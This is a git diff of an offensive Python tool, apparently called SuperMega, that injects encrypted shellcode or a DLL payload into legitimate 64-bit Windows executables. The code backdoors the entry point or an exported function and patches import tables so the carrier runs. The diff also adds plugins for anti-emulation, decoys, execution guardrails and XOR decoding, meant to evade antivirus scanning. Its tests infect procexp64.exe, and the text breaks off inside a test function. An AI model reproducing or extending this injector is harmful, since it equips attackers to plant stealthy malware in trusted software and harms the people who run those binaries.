-
- # superpe is a representation of the exe file. We gonna modify it, and save it at the end.
- superpe = SuperPe(exe_in)
- function_backdoorer = FunctionBackdoorer(superpe)
-
- # Patch IAT (if necessary and wanted)
- for iatRequest in carrier.get_all_iat_requests():
- # skip available
- addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
- if addr != None:
- logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
- continue
- iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
-
- if not settings.fix_missing_iat:
- raise Exception("Error: {} not available, but fix_missing_iat is False".format(
- iatRequest.name
- ))
- # do the patch
- superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
-
- # we modify the IAT raw, so reparsing is required
- superpe.pe.parse_data_directories()
- superpe.init_iat_entries()
-
- shellcode_offset: int = 0 # file offset
-
- # Special case: DLL exported function direct overwrite
- if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
- logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
- rva = superpe.getExportEntryPoint(settings.dllfunc)
-
- # Size and sanity checks
- function_size = superpe.get_size_of_exported_function(settings.dllfunc)
- if shellcode_len >= function_size:
- logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
- shellcode_len, function_size, settings.dllfunc
- ))
-
- # Inject
- shellcode_offset = superpe.get_offset_from_rva(rva)
- logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
- superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
-
- else: # EXE/DLL
- # Put it somewhere in the code section, and rewire the flow
- sect = superpe.get_code_section()
- if sect == None:
- raise Exception('Could not find code section in input PE file!')
- sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
- if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD:
- raise Exception("Shellcode too large: {}+{} > {}".format(
- shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
- ))
- shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section
- #shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
- shellcode_offset += sect.PointerToRawData
- shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
-
- logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
- shellcode_offset, shellcode_rva))
-
- # Copy the shellcode
- superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
-
- # rewire flow
- if superpe.is_dll() and settings.dllfunc != "": # DLL
- if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
- # Handled above
- raise Exception("We should not land here")
-
- elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
- addr = superpe.getExportEntryPoint(settings.dllfunc)
- logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
- settings.dllfunc, addr))
- function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
-
- else: # EXE
- if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
- logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
- shellcode_rva))
- superpe.set_entrypoint(shellcode_rva)
-
- elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
- addr = superpe.get_entrypoint()
- logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
- addr))
- function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
-
- logger.info("--( Fix shellcode to re-use IAT entries")
- injected_fix_iat(superpe, carrier)
- logger.info("--( Fix shellcode to reference data stored in .rdata")
- injected_fix_data(superpe, carrier)
-
- # changes from console to UI (no console window) if necessary
- superpe.patch_subsystem()
-
- # We done
- logger.info("--( Write to file: {}".format(exe_out))
- superpe.write_pe_to_file(exe_out)
-
- # Log
- code = file_readall_binary(exe_out)
- in_code = code[shellcode_offset:shellcode_offset+shellcode_len]
- observer.add_code_file("carrier_exe", in_code)
+ # to find space for carrier and payload
+ # for some combination of settings HACK
+ self.payload_rva = None
+ self.carrier_rva = None
+ self.init_addresses()
-def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
- """replace IAT-placeholders in shellcode with call's to the IAT"""
- code = superpe.get_code_section_data()
- for iatRequest in carrier.get_all_iat_requests():
- if not iatRequest.placeholder in code:
- raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
- offset_from_code = code.index(iatRequest.placeholder)
+ def init_addresses(self):
+ rm = self.superpe.get_code_rangemanager()
+
+ # TECHNIQUE0:
+ # assume payload is big, find a place for it, then prepend carrier (small)
+ complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
+
+ largest_gap = rm.find_holes(complete_size)
+ if len(largest_gap) == 0:
+ raise Exception('No hole found in code section to fit payload!')
+ largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
+
+ # align to center
+ offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
+ offset += largest_gap[0][0]
+
+ if self.settings.carrier_name == "dll_loader_change":
+ # Align to page size
+ offset = offset & 0xFFFFF000
+
+ # page aligned possibly
+ self.payload_rva = offset
+
+ # prepend it a bit
+ self.carrier_rva = offset - len(self.payload.payload_data) - 4096
+
+
+ ## Inject
+
+ def inject_exe(self):
+ exe_in = self.settings.inject_exe_in
+ exe_out = self.settings.inject_exe_out
+ carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
+
+ logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out))
+
+ # Patch IAT (if necessary and wanted)
+ self.injectable_patch_iat()
+
+ carrier_shc_len = len(self.carrier_shc)
+ carrier_offset: int = 0 # file offset
+
+ # Special case: DLL exported function direct overwrite
+ if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
+ logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
+ rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
+
+ # Size and sanity checks
+ function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
+ if carrier_shc_len >= function_size:
+ logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
+ carrier_shc_len, function_size, self.settings.dllfunc
+ ))
+
+ # Inject
+ carrier_offset = self.superpe.get_offset_from_rva(rva)
+ logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
+ self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
+
+ else: # EXE/DLL
+ carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
+ logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
+ self.carrier_rva, carrier_offset))
+
+ # Copy the carrier
+ self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
+
+ # rewire flow to the carrier
+ if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL
+ if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
+ # Handled above
+ raise Exception("We should not land here")
+
+ elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
+ addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
+ logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
+ self.settings.dllfunc, addr))
+ self.function_backdoorer.backdoor_function(
+ addr, self.carrier_rva, carrier_shc_len)
+
+ else: # EXE
+ if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
+ logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
+ self.carrier_rva))
+ self.superpe.set_entrypoint(self.carrier_rva)
+
+ elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
+ addr = self.superpe.get_entrypoint()
+ logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
+ addr))
+ self.function_backdoorer.backdoor_function(
+ addr, self.carrier_rva, carrier_shc_len)
+
+ logger.info("--( Fix imports and make carrier reference IAT")
+ self.injectable_write_iat_references()
+ logger.info("--( Insert and reference carrier data")
+ self.inject_and_reference_data()
+
+ # changes from console to UI (no console window) if necessary
+ self.superpe.patch_subsystem()
+
+ # We done
+ logger.info("--( Write to file: {}".format(exe_out))
+ self.superpe.write_pe_to_file(exe_out)
+
+ # Log
+ code = file_readall_binary(exe_out)
+ in_code = code[carrier_offset:carrier_offset+carrier_shc_len]
+ observer.add_code_file("carrier_exe", in_code)
+
+
+ def injectable_patch_iat(self):
+ # Patch IAT (if necessary and wanted)
+ for iatRequest in self.injectable.get_all_iat_requests():
+ # skip available
+ addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
+ if addr != None:
+ logger.info("---[ Request IAT {} is available at 0x{:X}".format(
+ iatRequest.name, addr))
+ continue
+ iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
+
+ if not self.settings.fix_missing_iat:
+ raise Exception("Error: {} not available, but fix_missing_iat is False".format(
+ iatRequest.name))
+ # do the patch
+ self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
+ #logger.info(" Unavailable IAT {} now patched".format(
+ # iatRequest.name))
+ # we modify the IAT raw, so reparsing is required
+ self.superpe.pe.parse_data_directories()
+ self.superpe.init_iat_entries()
+
+
+ def injectable_write_iat_references(self):
+ """replace IAT-placeholders in shellcode with call's to the IAT"""
+ code = self.superpe.get_code_section_data()
+ for iatRequest in self.injectable.get_all_iat_requests():
+ for placeholder in iatRequest.references:
+ if not placeholder in code:
+ raise Exception("IatResolve ID {} not found, abort".format(placeholder))
+ offset_from_code = code.index(placeholder)
+
+ # Note that the SuperPe may already have been patched for new IAT imports
+ destination_virtual_address = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
+ if destination_virtual_address == None:
+ raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
+
+ instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
+ logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
+ placeholder.hex(),
+ instruction_virtual_address,
+ destination_virtual_address,
+ iatRequest.name
+ ))
+ jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
+ if len(jmp) != len(placeholder):
+ raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
+ len(jmp), len(placeholder)
+ ))
+ code = code.replace(placeholder, jmp)
+
+ self.superpe.write_code_section_data(code)
+
+
+ def inject_and_reference_data(self):
+ """Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA"""
+ reusedata_fixups: List[DataReuseEntry] = self.injectable.get_all_reusedata_fixups()
+ if len(reusedata_fixups) == 0:
+ # nothing todo
+ return
- # Note that the SuperPe may already have been patched for new IAT imports
- destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
- if destination_virtual_address == None:
- raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
+ shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
- instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
- logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
- iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
- ))
- jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
- if len(jmp) != len(iatRequest.placeholder):
- raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
- code = code.replace(iatRequest.placeholder, jmp)
+ # insert data
+ logger.info("---( DataReuseFixups: Inject the data")
+ for datareuse_fixup in reusedata_fixups:
+ logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
+ datareuse_fixup.string_ref, datareuse_fixup.in_code))
- superpe.write_code_section_data(code)
+ if datareuse_fixup.in_code: # .text
+ self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
+ payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
+ datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
+ logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format(
+ datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
+ else: # .rdata
+ rdata_manager = self.superpe.get_rdata_rangemanager()
+ # get a hole in the .rdata section to put our data
+ hole_rva = rdata_manager.find_hole(len(datareuse_fixup.data))
+ if hole_rva == None:
+ raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
+ len(datareuse_fixup.data)
+ ))
+ rdata_manager.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
-def injected_fix_data(superpe: SuperPe, carrier: Carrier):
- """Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA"""
- # Insert my data into the .rdata section.
- # Chose and save each datareuse_fixup's addres.
- reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
- if len(reusedata_fixups) == 0:
- # nothing todo
- return
-
- # Put stuff into .rdata section in the PE
- peSection = carrier.superpe.get_section_by_name(".rdata")
- if peSection == None:
- raise Exception("No .rdata section found, abort")
-
- rm = carrier.superpe.get_rdata_relocmanager()
+ var_data = datareuse_fixup.data
+ data_rva = hole_rva[0]
+ self.superpe.pe.set_bytes_at_rva(data_rva, var_data)
+ datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base()
+ logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
+ datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
- if True: # FIXME this is a hack which is sometimes necessary
- sect_data_copy = peSection.pefile_section.get_data()
- string_off = find_first_utf16_string_offset(sect_data_copy)
- if string_off == None:
- raise Exception("Strings not found in .rdata section, abort")
- if string_off < 128:
- logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
- string_off = 128
- rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
+ # replace the placeholder in .text with a LEA instruction to the data we written above
+ logger.info("---( Datareusefixups: patch code to reference the data")
+ code = self.superpe.get_code_section_data()
+ for datareuse_fixup in reusedata_fixups:
+ ref: DataReuseReference
+ for ref in datareuse_fixup.references:
+ if not ref.placeholder in code:
+ raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
+ ref.placeholder.hex(), datareuse_fixup.string_ref))
+
+ offset_from_datasection = code.index(ref.placeholder)
+ instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
+ destination_virtual_address = datareuse_fixup.addr
+ logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
+ ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
+ ))
+ lea = assemble_lea(
+ instruction_virtual_address, destination_virtual_address, ref.register
+ )
+ asm_disasm(lea, instruction_virtual_address) # DEBUG
+ if len(lea) != len(ref.placeholder):
+ raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
+ len(lea), len(ref.placeholder)
+ ))
+ code = code.replace(ref.placeholder, lea)
- # Do all .rdata patches
- logger.info("---( Patch: .rdata")
- for datareuse_fixup in reusedata_fixups:
- logger.info(" Handling DataReuse Fixup: {} <- {}".format(
- datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex()))
-
- # get a hole in the .rdata section to put our data
- hole_rva = rm.find_hole(len(datareuse_fixup.data))
- if hole_rva == None:
- raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
- len(datareuse_fixup.data)
- ))
- rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
-
- var_data = datareuse_fixup.data
- data_rva = hole_rva[0]
- superpe.pe.set_bytes_at_rva(data_rva, var_data)
- datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base()
- logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
- datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
-
- # patch code section
- # replace the placeholder with a LEA instruction to the data we written above
- logger.info("---( Patch: .text")
- code = superpe.get_code_section_data()
- for datareuse_fixup in reusedata_fixups:
- if not datareuse_fixup.randbytes in code:
- raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
- datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref))
-
- offset_from_datasection = code.index(datareuse_fixup.randbytes)
- instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
- destination_virtual_address = datareuse_fixup.addr
- logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
- datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address
- ))
- lea = assemble_lea(
- instruction_virtual_address, destination_virtual_address, datareuse_fixup.register
- )
- asm_disasm(lea, instruction_virtual_address) # DEBUG
- if len(lea) != len(datareuse_fixup.randbytes):
- raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
- code = code.replace(datareuse_fixup.randbytes, lea)
-
- superpe.write_code_section_data(code)
+ self.superpe.write_code_section_data(code)
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
@@ -251,5 +292,3 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
else:
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
return 1
-
-
diff --git a/phases/masmshc.py b/phases/masmshc.py
index 35a393b..6c9aeed 100644
--- a/phases/masmshc.py
+++ b/phases/masmshc.py
@@ -100,7 +100,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
g_is32bit = True
if tokens[0] == "EXTRN":
- print(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
+ raise Exception(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
in_skipped = False
in_const = False
@@ -127,7 +127,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
logger.debug("[INFO] Entry Point: AlignRSP")
if seg_name == "_BSS":
- logger.error(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
+ raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
if seg_name in ("pdata", "xdata", "voltbl"):
in_skipped = True
@@ -145,7 +145,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
if tokens[1] in ("LIBCMT", "OLDNAMES"):
ofile.write(f"; {line}\n") # copy commented out line
continue
- print(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
+ raise Exception(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
if params.inline_strings and in_const:
if tokens[1] == "DB":
diff --git a/phases/templater.py b/phases/templater.py
index 067877d..312fab8 100644
--- a/phases/templater.py
+++ b/phases/templater.py
@@ -23,12 +23,31 @@ def get_template_names() -> List[str]:
def create_c_from_template(settings: Settings, payload_len: int):
- logger.info("--( Create C from template: {} -> {}".format(
+ logger.info("-( Create C from template: {} -> {}".format(
PATH_DECODER, settings.main_c_path))
plugin_decoder = ""
- # Decoder
- filepath_decoder = PATH_DECODER + "{}.c".format(settings.decoder_style.value)
+ # Plugin: VirtualAlloc
+ filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format(
+ settings.plugin_virtualprotect)
+ with open(filepath_virtualprotect, "r", encoding='utf-8') as file:
+ plugin_virtualprotect = file.read()
+ plugin_virtualprotect = Template(plugin_virtualprotect).render({
+ 'virtualprotect_data': settings.plugin_virtualprotect_data,
+ })
+
+ # Plugin: Execution Guardrails
+ filepath_guardrails = PATH_GUARDRAILS + "{}.c".format(
+ settings.plugin_guardrail)
+ with open(filepath_guardrails, "r", encoding='utf-8') as file:
+ plugin_guardrails = file.read()
+ plugin_guardrails = Template(plugin_guardrails).render({
+ 'guardrail_data': settings.plugin_guardrail_data,
+ })
+
+ # Plugin: Decoder
+ filepath_decoder = PATH_DECODER + "{}.c".format(
+ settings.decoder_style)
with open(filepath_decoder, "r", encoding='utf-8') as file:
plugin_decoder = file.read()
plugin_decoder = Template(plugin_decoder).render({
@@ -37,16 +56,35 @@ def create_c_from_template(settings: Settings, payload_len: int):
'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2),
})
- # Choose correct template
+ # Plugin: Anti-Emulation
+ filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
+ settings.plugin_antiemulation)
+ with open(filepath_antiemulation, "r", encoding='utf-8') as file:
+ plugin_antiemualation = file.read()
+ plugin_antiemualation = Template(plugin_antiemualation).render({
+ 'PAYLOAD_LEN': payload_len,
+ })
+
+ # Plugin: Decoy
+ filepath_decoy = PATH_DECOY + "{}.c".format(
+ settings.plugin_decoy)
+ with open(filepath_decoy, "r", encoding='utf-8') as file:
+ plugin_decoy = file.read()
+
+ # Choose template
dirpath = PATH_CARRIER + settings.carrier_name + "/template.c"
with open(dirpath, 'r', encoding='utf-8') as file:
template_content = file.read()
observer.add_text_file("main_c_template", template_content)
-
+ # Render template
template = Template(template_content)
rendered_template = template.render({
'plugin_decoder': plugin_decoder,
+ 'plugin_antiemulation': plugin_antiemualation,
+ 'plugin_decoy': plugin_decoy,
+ 'plugin_executionguardrail': plugin_guardrails,
'PAYLOAD_LEN': payload_len,
+ 'plugin_virtualprotect': plugin_virtualprotect,
})
with open(settings.main_c_path, "w", encoding='utf-8') as file:
file.write(rendered_template)
diff --git a/relokator.py b/relokator.py
deleted file mode 100644
index 113fc19..0000000
--- a/relokator.py
+++ /dev/null
@@ -1,44 +0,0 @@
-import sys
-
-from model.defs import *
-from pe.superpe import SuperPe
-
-
-def main(filename: str, current_base: int):
- print("Handling: {}".format(filename))
- superpe = SuperPe(filename)
-
- r = {}
- relocation: PeRelocEntry
- for relocation in superpe.get_base_relocs():
- if relocation.base_rva in r:
- r[relocation.base_rva] += 1
- else:
- r[relocation.base_rva] = 1
-
- #print("Base: 0x{:X} RVA: 0x{:X} Offset: {} Type: {}".format(
- # relocation.base_rva,
- # relocation.rva,
- # relocation.offset,
- # relocation.type,
- #))
-
- sum = 0
- for base, count in r.items():
- print("0x{:X}: {}".format(base, count))
- sum += count
- print("Sum: {}".format(sum))
-
- print("Image Base : 0x{:X}".format(superpe.get_image_base()))
- print("Current Base: 0x{:X}".format(current_base))
-
-
-if __name__ == "__main__":
- if len(sys.argv) != 3:
- print("./relokator ")
- exit(1)
-
- filename = sys.argv[1]
- current_base = int(sys.argv[2], 16)
- main(filename, current_base)
-
diff --git a/supermega.py b/supermega.py
index a122c6d..67aad9f 100644
--- a/supermega.py
+++ b/supermega.py
@@ -1,4 +1,3 @@
-import shutil
import argparse
from typing import Dict
import os
@@ -12,19 +11,21 @@ import phases.compiler
import phases.assembler
import phases.injector
from observer import observer
-from pe.pehelper import extract_code_from_exe_file_ep
+from pe.pehelper import preload_dll
from sender import scannerDetectsBytes
from model.project import Project, prepare_project
from model.settings import Settings
from model.defs import *
from log import setup_logging
-from model.carrier import Carrier, DataReuseEntry, IatRequest
+from model.injectable import DataReuseEntry
+from utils import check_deps
def main():
"""Argument parsing for when called from command line"""
logger.info("Super Mega")
config.load()
+ check_deps()
settings = Settings()
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
@@ -55,12 +56,7 @@ def main():
if args.carrier:
settings.carrier_name = args.carrier
if args.decoder:
- if args.decoder == "plain_1":
- settings.decoder_style = DecoderStyle.PLAIN_1
- elif args.decoder == "xor_1":
- settings.decoder_style = DecoderStyle.XOR_1
- elif args.decoder == "xor_2":
- settings.decoder_style = DecoderStyle.XOR_2
+ settings.decoder_style = args.decoder
if args.inject:
if args.carrier_invoke == "eop":
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
@@ -84,6 +80,10 @@ def main():
logger.info("Could not find: {}".format(args.inject))
return
settings.inject_exe_in = args.inject
+ settings.inject_exe_out = "{}{}".format(
+ settings.main_dir,
+ os.path.basename(args.inject).replace(".exe", ".injected.exe")
+ )
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll")
write_webproject("default", settings)
@@ -109,7 +109,7 @@ def start(settings: Settings) -> int:
prepare_project(settings.project_name, settings)
# Do the thing and catch the errors
- if False:
+ if True:
start_real(settings)
else:
try:
@@ -137,26 +137,37 @@ def start_real(settings: Settings):
project.init()
# CHECK if 64 bit
- if not project.carrier.superpe.is_64():
+ if not project.injectable.superpe.is_64():
raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in))
logger.info("--[ Config: {} {} {} {}".format(
project.settings.carrier_name,
settings.payload_location.value,
- project.settings.decoder_style.value,
+ project.settings.decoder_style,
project.settings.carrier_invoke_style.value))
- # CREATE: Carrier C source files from template (C->C)
- phases.templater.create_c_from_template(settings, project.payload.len)
+ logger.info("--[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format(
+ project.settings.plugin_antiemulation,
+ project.settings.plugin_decoy,
+ project.settings.plugin_guardrail)
+ )
+
+ # FIXUP DLL Payload
+ # Prepare DLL payload for usage in dll_loader_change
+ # This needs to be done before rendering the C templates, as need
+ # the real size of the payload
+ if project.settings.carrier_name == "dll_loader_change":
+ project.payload.payload_data = preload_dll(project.payload.payload_path)
+
+ # CREATE: Carrier C source files from template (C->C)
+ phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
- # If we put the payload into .rdata
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
- if settings.payload_location == PayloadLocation.DATA:
- logger.info("--[ Load payload for use in .rdata injection")
- project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
- entry = project.carrier.get_reusedata_fixup("supermega_payload")
- entry.data = phases.assembler.encode_payload(
- project.payload.payload_data, settings.decoder_style) # encrypt
+ # So the carrier is able to find the payload
+ project.injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
+ entry = project.injectable.get_reusedata_fixup("supermega_payload")
+ entry.data = phases.assembler.encode_payload(
+ project.payload.payload_data, settings.decoder_style) # encrypt
observer.add_code_file("payload", project.payload.payload_data)
# COMPILE: Carrier to .asm (C -> ASM)
@@ -164,17 +175,14 @@ def start_real(settings: Settings):
phases.compiler.compile(
c_in = settings.main_c_path,
asm_out = settings.main_asm_path,
- carrier = project.carrier,
+ injectable = project.injectable,
settings = project.settings)
# we have the carrier-required IAT entries in carrier.iat_requests
# CHECK if all are available in infectable, or abort (early check)
- functions = project.carrier.get_unresolved_iat()
- if len(functions) != 0:
- if settings.fix_missing_iat:
- logger.info("--[ Fixing missing IAT entries: {}".format(", ".join(functions)))
- else:
- raise Exception("IAT entry not found: {}".format(", ".join(functions)))
+ functions = project.injectable.get_unresolved_iat()
+ if len(functions) != 0 and settings.fix_missing_iat == False:
+ raise Exception("IAT entry not found: {}".format(", ".join(functions)))
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
if settings.generate_shc_from_asm:
@@ -183,29 +191,14 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode)
- # MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
- if settings.payload_location == PayloadLocation.CODE:
- logger.info("--[ Merge carrier with payload for .text injection".format())
- full_shellcode = phases.assembler.merge_loader_payload(
- shellcode_in = carrier_shellcode,
- payload_data = project.payload.payload_data,
- decoder_style = settings.decoder_style)
- #observer.add_code_file("full_shc", full_shellcode)
- else:
- # shellcode is in .rdata, so we dont need to merge
- full_shellcode = carrier_shellcode
-
- # RWX Injection (optional): obfuscate loader+payload
- #if project.exe_host.rwx_section != None:
- # logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
- # project.exe_host.rwx_section.Name.decode().rstrip('\x00')
- # ))
- # obfuscate_shc_loader(settings.main_shc_path, settings.main_shc_path + ".sgn")
- # observer.add_code_file("payload_sgn", file_readall_binary(settings.main_shc_path + ".sgn"))
- # shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path)
-
- # inject (merged) loader into an exe. Big task.
- phases.injector.inject_exe(full_shellcode, settings, project.carrier)
+ # INJECT loader into an exe and do IAT & data references. Big task.
+ injector = phases.injector.Injector(
+ carrier_shellcode,
+ project.payload,
+ project.injectable,
+ settings)
+
+ injector.inject_exe()
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
# Check binary with avred
diff --git a/tester.py b/tester.py
index db44e82..f7d6dbd 100644
--- a/tester.py
+++ b/tester.py
@@ -11,15 +11,45 @@ from model.project import prepare_project
def main():
- logger.info("Super Mega Tester")
+ logger.info("Super Mega Tester: " + os.path.dirname(VerifyFilename))
config.load()
+ if not os.path.exists(os.path.dirname(VerifyFilename)):
+ print("{} directory does not exist".format(os.path.dirname(VerifyFilename)))
+ return
+
+ test_dll_loader()
test_exe_code()
test_exe_data()
test_dll_code()
test_dll_data()
+def test_dll_loader():
+ print("Testing: DLL Loader")
+ settings = Settings("unittest")
+ settings.payload_path = PATH_SHELLCODES + "createfile.dll"
+ settings.verify = True
+ settings.try_start_final_infected_exe = False
+ settings.payload_location = PayloadLocation.CODE
+
+ print("Test DLL Loader 1/2: procexp, backdoor main, dll loader alloc")
+ settings.carrier_name = "dll_loader_alloc"
+ settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
+ settings.inject_exe_in = PATH_EXES + "procexp64.exe"
+ settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
+ if start(settings) != 0:
+ print("Error")
+
+ print("Test DLL Loader 2/2: procexp, backdoor main, dll loader change")
+ settings.carrier_name = "dll_loader_change"
+ settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
+ settings.inject_exe_in = PATH_EXES + "procexp64.exe"
+ settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
